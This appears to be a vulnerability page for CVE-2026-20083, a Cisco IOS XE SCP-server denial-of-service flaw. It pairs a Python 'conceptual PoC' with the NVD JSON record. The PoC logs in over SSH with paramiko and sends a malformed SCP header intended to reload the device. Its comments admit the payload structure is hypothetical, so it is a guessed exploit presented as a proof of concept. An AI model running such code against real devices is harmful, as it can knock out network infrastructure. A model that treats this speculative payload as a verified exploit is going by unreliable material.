CVE-2026-20083

#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-20083 # Requires: pip install paramiko import paramiko import time def exploit_cve(target_ip, username, password): try: # 1. Establish SSH connection client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password) # 2. Send malformed SCP request # The specific malformed packet structure is hypothetical based on the description # 'crafted command through SSH' transport = client.get_transport() channel = transport.open_session() channel.exec_command('scp -t /malformed/path') # 3. Send payload causing DoS (Example malformed header) # Sending unexpected bytes to trigger parsing error malformed_payload = b'C0000\x00\x00\x00' channel.send(malformed_payload) print("[+] Malformed payload sent. Triggering DoS...") time.sleep(2) except Exception as e: print(f"[-] Error: {e}") finally: client.close() if __name__ == "__main__": exploit_cve("192.168.1.1", "low_priv_user", "password")

{"cve": {"id": "CVE-2026-20083", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:12.903", "lastModified": "2026-03-26T15:13:33.940", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the Secure Copy Protocol (SCP) server feature of Cisco IOS XE Software could allow an authenticated, local attacker with low privileges to cause a denial of service (DoS) condition on an affected device.\r\n\r This vulnerability is due to improper handling of a malformed SCP request. An attacker could exploit this vulnerability by issuing a crafted command through SSH. A successful exploit could allow the attacker to cause the device to reload unexpectedly, resulting in a DoS condition."}, {"lang": "es", "value": "Una vulnerabilidad en la característica de servidor del Secure Copy Protocol (SCP) de Cisco IOS XE Software podría permitir a un atacante local autenticado con bajos privilegios causar una condición de denegación de servicio (DoS) en un dispositivo afectado. Esta vulnerabilidad se debe a un manejo inadecuado de una solicitud SCP malformada. Un atacante podría explotar esta vulnerabilidad emitiendo un comando manipulado a través de SSH. Un exploit exitoso podría permitir al atacante causar que el dispositivo se recargue inesperadamente, lo que resultaría en una condición de DoS."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-235"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-scp-dos-duAdXtCg", "source": "[email protected]"}]}}